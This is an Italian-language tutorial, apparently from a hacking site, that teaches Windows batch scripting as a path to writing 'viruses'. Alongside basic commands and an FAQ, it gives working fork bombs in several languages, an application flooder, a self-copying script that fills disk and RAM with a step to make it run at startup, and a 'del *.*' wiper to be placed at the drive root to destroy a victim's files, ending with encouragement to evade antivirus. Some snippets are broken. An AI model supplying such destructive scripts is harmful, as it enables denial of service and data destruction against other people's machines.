BAT

Introduzione e primi comandi

Nelle seguenti esercitazioni, impareremo i virus di file batch. Prenderemo in considerazione varie tecniche per abbattere un computer utilizzando piccoli e semplici script. Anche se non hai un background nella programmazione, troverai molto facile il seguire.
Vi consiglio di utilizzare una macchina virtuale che esegue un sistema operativo Windows. Questo è per la sicurezza e per la comodità. Questo tutorial è abbastanza sicuro, ma da quello successivo inizieremo a creare virus. Il primo virus che guarderemo sovraccaricherà la memoria del computer. Cioè, il computer esaurirà la RAM e probabilmente si bloccherà e si arresterà. Anche se questo non causerà danni duraturi, l'utilizzo di una macchina virtuale sarà ancora più conveniente semplicemente perché non dovrai continuare a riavviare il computer perché è stato arrestato. Subito dopo avremo virus che possono fare un danno molto reale e permanente al tuo sistema. Non vuoi strapparti, giusto? Quindi puoi anche imparare a configurare una macchina virtuale per eseguire l'hacking prima di continuare. 
Ora cominciamo. 


Cosa sono i file batch? 
Un file batch è il nome dato a un tipo di file di script, un file di testo contenente una serie di comandi da eseguire dall'interprete di comando. I file batch hanno l'estensione .bat (o .cmd). Possono essere facilmente creati utilizzando qualsiasi editor di testo come il blocco note. 
Ora vediamo alcuni di questi comandi. 


echo Hello World


Il comando echo viene utilizzato per stampare un messaggio, in questo caso "Hello World". Digita il contenuto sopra in un editor di testo e salva come something.bat. Ora apri e viene visualizzata una finestra di comando. Ma noterete che si chiude prima di avere la possibilità di vedere cosa viene prodotto. Correggiamo ciò. 


echo Hello World
pause


Il comando 'pause' pausa l'esecuzione del file batch finché un utente preme un tasto. Dovresti vedere la seguente uscita: 


C:\Users\user\Desktop>echo Hello World
Hello World
C:\Users\user\Desktop>pause
Press any kay to continue . . .


C:\Users\user\Desktop> è dove avviene l'esecuzione. Nel mio caso, ho salvato il file batch sul desktop. Il file batch stampa i comandi prima di eseguirli. In primo luogo stampa echo Hello World, quindi effettivamente lo esegue in uscita Hello World.  


@echo off
echo Hello World
pause


E questo risultato 


Hello World
Press any key to continue . . .


Molto meglio. @echo off viene utilizzato per arrestare i comandi da stampare e lasciare solo l'output di questi comandi. Adesso aggiungiamo un piccolo comportamento dinamico.


@echo off
set a=user
echo Hello %a%
pause


Il comando set viene utilizzato per definire variabili che possono contenere valori diversi, in questo caso la stringa "emixvz". Il nome della variabile racchiuso all'interno di %% è come accediamo al valore memorizzato nella variabile. Esegui i punti sopra indicati e dovresti vedere 


Hello user
Press any key to continue . . .


Fate attenzione qui, il comando impostato è abbastanza sensibile sull'uso degli spazi: 
Impostare a=user significa che "a" ha il valore "user" 
Impostare a= user (con uno spazio dopo il =) significa che "a" ha il valore " user" (con uno spazio prima di esso) 
Impostare a =user (con uno spazio prima =) significa che la variabile non è definita come "a" ma come "a " ("a" seguita da uno spazio).
 
Alcuni comandi sono dotati di modificatori che leggermente alterano il loro comportamento: 


@echo off
set /a a=3
set /a b=7
set /a c=%a% + %b%
echo %c%
pause


Nel 'set /a', la parte di '/a' sta dicendo che dovrebbe trattare il valore della variabile come un numero, permettendoci di eseguire operazioni matematiche su di esso. 


@echo off
set /p a=Enter your name
echo Hello %a%
pause


Il  '/p' indica al comando di impostazione che dovrebbe prendere qualche input dall'utente e memorizzarlo nella variabile 'a'. Quando si esegue il file batch, verrà richiesto di immettere qualcosa.


Esempi di file batch 

Questo è stato abbastanza facile, ora presentiamo un paio di file batch più che potrebbero essere effettivamente utili e poi andremo a fare alcuni virus. 


Pinger

@echo off
title pinger
set /p target=Enter IP addres or URL:
ping %target% -t
pause


Praticamente utile se vuoi pingare rapidamente un indirizzo IP / URL o controllare la tua connessione a Internet. 
P.S: Premendo CTRL + C si arresta qualsiasi comando di esecuzione 

Timer di arresto 
Il file batch pianifica un arresto dopo X minuti.

 
@echo off
title Shutdown Input
set /p mins=Enter number of second unntil shutdown
set /a mins=%mins%
shutdown -s -t %mins%


Questo era solo un assaggio di cosa i file batch possono fare. Quasi tutto ciò che il tuo sistema operativo fa per te può essere fatto attraverso file batch. È anche possibile utilizzarli per automatizzare compiti ripetitivi e noiosi. Il limite è solo la tua immaginazione. 

Fork Bomb

La Fork Bomb è l'equivalente di un attacco DDoS sul proprio sistema. Essa mira a privare il sistema di memoria (RAM), non lasciando nulla per altre applicazioni o le operazioni vitali del sistema operativo necessari per mantenere i sistemi in esecuzione, quindi bloccarlo. Solo 5 caratteri di lunghezza, la Fork Bomb non è permanente nociva per un computer, è solo fastidiosa. 
Ed ecco la Fork Bomb:


%0|%0


Sì, è questo. Quanto sopra è un'alternativa più corta per il seguente codice più comprensibile:


:s
start %0
goto s


Qui, la prima riga crea un'etichetta s. 
%0 si riferisce effettivamente al nome del file batch stesso. Con Start%0 stiamo eseguendo di nuovo lo stesso file. 
E, infine, goto s ci riporta alla cima, formando un loop. 
Così ogni volta che il ciclo viene eseguito un'altra istanza dello stesso programma e iniza e poi entrambi corrono insieme e di nuovo si duplicano e così via
Ogni programma che si raddoppia è una forma di crescita esponenziale. Dopo un'iterazione del ciclo, vengono creati due programmi. Dopo un altro ciclo, ognuno di questi due ne crea altri due per un totale di quattro. Dopo 10 iterazioni abbiamo 1024 istanze del nostro piccolo file batch. Dopo 100 iterazioni abbiamo 1,267 nonilli. 
La prima istanza probabilmente non completa 50 iterazioni prima che il sistema macina a una battuta d'arresto e si blocca. Per un semplice script, ogni iterazione individuale difficilmente implicherebbe alcuni millisecondi, quindi le prime iterazioni complete molto rapidamente e presto diventa più di quello che il computer è in grado di gestire. 


C'è un modo per proteggersi contro le Fork Bomb?

 Sì. 
Qualsiasi antivirus buono sarebbe in grado di eseguire la scansione di questo file eseguibile sospetto e avvertire l'utente prima dell'esecuzione. Come il modo di funzionamento della Fork Bomb è interamente dipendente dall'essere in grado di creare nuovi processi, un modo per impedire a una Fork Bomb di influenzare gravemente l'intero sistema è limitare il numero massimo di processi che un singolo utente può possedere. Su Linux, questo può essere ottenuto utilizzando l'utilità ulimit; ad esempio, il comando ulimit-u 30 limiterebbe l'utente interessato a un massimo di trenta processi posseduti. 
E così abbiamo il nostro primo piccolo virus sotto il nostro controllo. 
Scorrere verso il basso se siete interessati a verificare il codice per la Fork Bomb in altri linguaggi comuni


- Bash


:(){:|:&};:


- Phyton


import os
while 1:
   os.fork()


- Java


public class ForkBomb
{
 public static void main(String[] args)
  {
   while(true)
    {
     Rutine.getRutine().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"})
    }
  }
}


- Ruby


loop{ fork { load(__FILE__) } }


- C


#include
int main(void)
 {
     while(1) {
       fork();
     }
 }


- JavaScript


while (true) {
 var w = window.open()
 w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML
}

Application Flooder

Non a differente dalla Fork Bomb che abbiamo appena visto, il "Application Flooder", anche se tecnicamente innocuo, è un virus davvero fastidioso. Ecco come appare:


@echo off
:begin
start mspaint
start notpad
start write
start cmd
start explorer
start control
start calc
goto begin


Come tutti gli altri file batch virus, vi consiglio di provare quest'uno in una macchina virtuale. 
Andiamo a vederlo riga per riga: 
@echo off - questo semplicemente interrompe il prompt dei comandi di apparire quando il file batch è in esecuzione. Quando si avvia un file batch, viene aperto un processo del prompt dei comandi (cmd. exe) e le istruzioni del file batch vengono inviate tramite pipe. Usiamo @echo off quando non vogliamo informare l'utente su ciò che il file batch in esecuzione sta facendo. 
:begin - questa è un'etichetta. È come un marker o un checkpoint, una posizione nel programma a cui abbiamo dato un nome. 
Start – questo viene utilizzato per avviare un eseguibile, simile a quello che accade quando si fa doppio clic su un'applicazione. Si può vedere che abbiamo un sacco di questi comandi e fanno tutti a partire qualcosa di diverso. Questi sono solo una manciata di programmi di default che vengono con tutte le installazioni di Windows. Qua è dove stiamo inondando le applicazioni. In particolare stiamo avviando le applicazioni: Paint, Notepad, WordPad, una finestra di comando, file Explorer, pannello di controllo e una calcolatrice. È possibile avviare qualsiasi file eseguibile (. exe) utilizzando Start <PATH-TO-EXECUTABLE>. 
GOTO - ricordate l'etichetta che abbiamo appena definito sopra? (:begin) Utilizzando il comando goto, andiamo all'etichettà begin, e il programma continua l'esecuzione da lì. Questo è un loop infinito.

Così tutte le applicazioni di cui sopra vengono riavviati ancora e ancora fino a quando ci sono centinaia di finestre aperte o fino a quando il sistema operativo si blocca o interviene un buon antivirus. 
Ecco. Questo è uno dei più semplici e più vecchi virus che ci siano. Ma la storia non è ancora finita. I virus che effettivamente infettano e danneggiano i sistemi di questi giorni sono molto più complicati, tuttavia, si è ora un passo più vicino ad una migliore comprensione del quadro generale. 

Overloading Memory

Crea un nuovo file batch nella stessa directory e quindi si copia su questo nuovo file. Poi inizia questo nuovo virus e poi entrambi creano un'altra copia di se stessi che vengono quindi eseguiti e il processo si ripete più e più volte e abbiamo una crescita esponenziale del numero di virus sul disco e nella memoria (RAM).
Diamo quindi un'occhiata:


@echo off
:A
set x=%random%
type %0 >> %x%.bat
start %x%.bat
goto A


A seconda di che cosa esaurisce il primo spazio su disco rigido o RAM, il file batch può o non causare danni permanenti. In entrambi i casi, però, il computer verrà quasi definitivamente bloccato, il sistema operativo potrebbe essere danneggiato e, al successivo avvio, sarete accolti dalla ben nota "Blue Screen Of Death". L'unico modo per sbarazzarlo è quello di formattare il disco rigido e di reinstallare il sistema operativo.
(Facoltativo) Per eseguire automaticamente questo file all'avvio, effettuare le seguenti operazioni. Crea un collegamento del file damage.bat facendo clic destro su di esso. Aprire il menu di avvio, nei programmi aprire la cartella di avvio e semplicemente trascinare o incollare la scorciatoia in questa cartella. Il virus si scaglierà la prossima volta che il computer viene avviato.
Questi ultimi pacchetti di file di file batch erano, al massimo, fastidiosi. Ora facciamo un danno reale.

Wiping Out Memory

Ora che abbiamo imparato a sovraccaricare la memoria del computer, in questo tutorial stiamo per eliminare tutto. Questo è breve e facile. Questo è diverso dagli altri file batch che abbiamo visto ancora. Questo può fare danni reali. Assicurati di eseguire ciò solo all'interno di una VM.


del *.*


Un aggiornamento rapido, il comando del viene utilizzato per eliminare file o cartelle con la seguente sintassi:


del [options] [/A:file_attributes] files_to_delete


Ad esempio: il comando del fileName.extension elimina il file 'fileName.extension' nella directory corrente.  *  è una wildcard, significa "tutto". Così *.* significa 'tutti i nomi dei file con qualsiasi estensione'. Mettere un * prima del il punto. significa che non importa quale sia il nome del file, verrà comunque eliminato. Mettere un * dopo il . significa che non importa quale sia il tipo di file, verrà comuqnue eliminato. Combinando, del *.* significa che tutti i file e le cartelle rilevati dal nostro script nella directory corrente verranno spazzate via completamente.
Chiaramente, questo potrebbe essere molto pericoloso per un sistema in quanto niente sarà lasciato, anche i file vitali del sistema operativo possono essere eliminati. Ma ovviamente, puossono interessare solo i file nella directory in cui è collocato il file batch stesso. Quindi, posizionandolo al livello principale (dire C:\deleteEverything.bat) è il modo per farlo.
Come proteggerci contro di questo? Se si tenta di eliminare qualcosa di veramente importante, il sistema operativo nega semplicemente di farlo. Allo stesso modo, se si tenta di confondere con i file di qualcun altro (in un ambiente multiutente), potrebbe non essere possibile leggere, modificare, eseguire (o tutti e tre) a seconda di quali permessi hanno (l'altro utente) e l'amministratore ha concesso a tutti gli script o i programmi che si tenta di eseguire.
Linux, invece, è ancora più ossessivo quando si tratta di privilegi. Le autorizzazioni di file costituiscono una parte fondamentale di quasi tutti i sistemi Unix. Quindi, noi hacker abbiamo il nostro lavoro tagliato fuori per noi. Purtroppo il nostro piccolo virus carino probabilmente non potrà completamente corrompere i sistemi di oggi. Tuttavia, è ancora possibile eliminare tutti i documenti riservati che la tua vittima detiene cara, quindi è ancora pericoloso.

FAQ

Abbiamo un sacco di Virus in batch a nostra disposizione. È giunto il momento di perfezionare la tua comprensione degli script in batch, così che tu stesso possa cominciare a creare utili file batch (dannosi o no). Controlla ogni nuova documentazione di aiuto per i comandi prima di usarli o semplicemente avviali all’interno di una macchina virtuale.

Sotto sono compresi alcune delle domande più comuni riguardo ai file batch, in generale. Se vuoi diventare un maestro dell’arte dei file batch (e dei virus che puoi fare con essi), avrai bisogno di conoscere le risposte a queste domande. Programmare un file batch è molto semplice, anche persone non tecniche possono riuscirci abbastanza in fretta. Tra poco sarai in grado di fare i tuoi piccoli script (e virus).

1.     Dovrei usare . bat o .cmd come estensione del file batch?

Puoi usare entrambi, non importa (in genere). Ci sono alcune sottili differenze tecniche tra le due ma nulla di cui abbiamo bisogno di preoccuparci usandoli sui nostri moderni sistemi operativi Microsoft.

2.     Come aggiungo commenti ad un file batch?

Ci sono due modi per aggiungere commenti ad un file batch:

REM

               @echo off

               REM Questa riga sarà saltata dall’interprete

               ping xeushack.com

::

               @echo off

               :: Questa riga sarà saltata dall’interprete

               ping xeushack.com

3.     Come metto in standby un file batch o lo faccio aspettare X secondi?

Diciamo che tu lo debba bloccare per 4 secondi. Il seguito è un trucchetto popolare per farlo:

ping 127.0.0.1 –n 5 > nul

Questo comando “pinga” l’indirizzo IP dell’host locale. Il parametro  –n 5 significa che invierà il ping per 5 volte. Il primo ping avviene a t=0 e c’è un intervallo di 1 secondo tra ogni ping, così questo ci dà un intervallo di 4 secondi dove il nostro file batch sembra far nulla. Infine, > nul elimina l’output del comando, così noi non vediamo nulla durante l’esecuzione.

Un’altro modo per creare un intervallo in un file batch è usare il semplice comando timeout:

timeout 4

Questo crea un conto alla rovescia nella finestra di output:

In attesa per 3 secondi, premere un pulsante per continuare ...

Se non vuoi vedere il conto alla rovescia:

timeout 4 > nul

Attento, il comando timeout può essere saltato premendo un pulsante qualsiasi. Inoltre, il comando timeout x significa “standby per un tempo compreso tra x-1 e x secondi”, per cui è un po’ inaccurato.

4.     Come avvio più file batch da un singolo file batch?

Supponiamo che tu abbia tre file batch che vuoi far partire da un master.bat. Ecco un paio di modi per avviare questi file batch da master.bat:

Questo metodo eseguirà i file batch uno dopo l’altro nello stesso processo:

call batch1.bat

call batch2.bat

call batch3.bat

Questo metodo avvierà un comando di windows diverso per ogni file batch avviato:

start cmd /k call batch1.bat

start cmd /k call batch2.bat

start cmd /k call batch3.bat

5.     Come aggiungo una riga vuota in un file batch?

Usando echo. puoi aggiungere una nuova riga.

               echo ciao

               echo.

               echo mondo

Assicurati che non ci siano spazi tra echo e . . Il comando precendenti scrive:

               ciao

 

               mondo

6.     Come avvio due comandi distinti in una riga usando cmd.exe o file batch?

Quando lavori in un prompt cmd.exe:

echo ciao & echo mondo.

Questo scrive:

ciao mondo.

Per i file batch, usa && invece di &:

echo ciao && echo mondo.

7.     Come posso controllare che un file esista usando un file batch?

Possiamo farlo usando i costrutti if e exist:

if exist [INSERIRE_IL_NOME_DEL_FILE_QUI] (

                              echo il file esiste

) else (                 echo il file non esiste

)

Se non ti interessa l’else puoi toglierlo. Ad esempio:

if exist myfile.txt echo il file esiste

 

8.     Come trasferisco l’output di un commando in un file?

dir > output.txt

Questo scriverà un output del comando dir in output.txt

9.     Come eseguire un comando N volte (in loop) in file batch?

Per un comando singolo , possiamo farlo con una riga sola:

for /1 %%x in (1, 1, 100) do echo %%x

Per creare un loop con più comandi:

for /1 %%x in (1, 1, 100) do (

                              echo %%x

                              echo qualcos'altro

)

Spiegazione: La variabile della ripetizione %%x è inizializzata in 1 e incrementata di 1 per ogni ripetizione finchè non arriva a 100. Va usata in un file batch, per usarla in un cmd usa direttamente singolo % invece di %%.

10. Come viaggiare tra i file e le cartelle in una cartella?

Per farlo usa in un cmd:

File nella cartella corrente: for %f in (.\*) do echo %f

Cartelle contenute nella cartella corrente: for /D %s in (.\*) do echo %s

File e cartelle contenuti nella cartella corrente: for /R %f in (.\*) do echo %f

Cartelle contenute nella cartella corrente e tutte le cartelle contenute al loro interno: for /R /D %s in (.\*) do echo %s

Per File Batch, sostituire % con %%:

File nella cartella corrente: for %%f in (.\*) do echo %%f

Cartelle contenute nella cartella corrente: for /D %%s in (.\*) do echo %%s

File e cartelle contenuti nella cartella corrente: for /R %%f in (.\*) do echo %%f

Cartelle contenute nella cartella corrente e tutte le cartelle contenute al loro interno: for /R /D %%s in (.\*) do echo %%s

11. Come ottenere una list di tutti i servizi in funzione da cmd?

Il comando net start ha come output una lista di tutti i servizi in funzione.

12. Avviare o terminare servizi da cmd?

net start [nomeServizio]

e

net stop [comeServizio]

13. Come controllare se un file batch ha privilegi dell’amministratore?

Il comando net session può essere usato per controllare se il file batch ha privilegi dell’amministratore o no:

net session >nul 2>&1

if %errorLevel1% == 0 (

                              echo Successo: Confermati privilegi amministrativi.

) else (

                              Echo Fallimento: Permessi correnti inadeguati.

)

Spiegazione: Prima spostiamo l’output e gli errori del net session al commando nul e controlliamo se il comando  si esegue senza errori (errorLevel = 0), il che significa che abbiamo privilegi admin, o il comando riceve un errore (errorLevel! = 0), che significa che non abbiamo privilegi dell’amministratore.

14. Come controllare se un programma sta funzionando da un file batch?

Il comando seguente controlla se chrome.exe (Google Chrome) sta funzionando o no:

tasklist /FI "IMAGENAME eq chrome.exe" 2>NUL | find /I /N "chrome.exe">NUL

if %errorLevel% == 0 (

   echo Il programma sta funzionando

) else (

   echo Il programma non sta funzionando

)

15. Come terminare brutalmente un processo usando file batch?

Il comando taskkill con il modificatore /f può essere usato per terminare brutalmente tutti i processi col nome corrispondente (il parametro /im). Il processo ID (/pid) può essere usato per terminare una sola istanza (Ad esempio, una specifica tab di Google Chrome).

taskkill /f /im “Taskmgr.exe”

Ricordati che potresti aver bisogno dei privilege amminstratore per terminare alcuni precessi.

16. Come creare rapidamente un grande file in Windows?

Possiamo farlo usando fsutil.

fsutil file createnew [nomeFile] [grandezza]

Questo crea un file con nome nomeFile e grandezza “grandezza” (in bytes). Questo sarebbe un file inutile, composto solo da una riga di zero. Ad esempi

fsutil file createnew useless.txt 1024

creerà un file da 1 kilobyte chiamato useless.txt.

17. Come copiare tutti i file da una cartella ad un’altra usando un cmd?

xcopy è uno strumento in Windows che fa esattamente questo.

xcopy /s C:\origine C:\target

Ricorda di chiudere il path tra le virgolette se contiene spazi (ad esempio: “C:\Una Cartella”).

18. Come eliminare una cartella assieme a tutti i file e cartelle contenute?

Il comando rmdir può essere usato per eliminare le cartelle.

rmdir “nomeCartella” /s /q

/s è usato specificamente per rimuovere ogni cosa contenuta nella cartella nomeCartella.

/q specifica “modalità qiueta”, ovvero, elimina senza richiedere conferma.

19. Come posso vedere la documentazione di aiuto per un comando?

Apri un cmd e scrivi help [nome_comando]. Ad esempio: help taskkill.

E questo conclude la nostra piccola serie su file batch (quasi). Dovresti ora poter partire e sperimentare di tuo. Chi lo sa, potresti essere in grado di fare qualcosa che possa non essere trovato da un antivirus. Ora guardiamo un paio di idee per creare i tuoi virus in batch.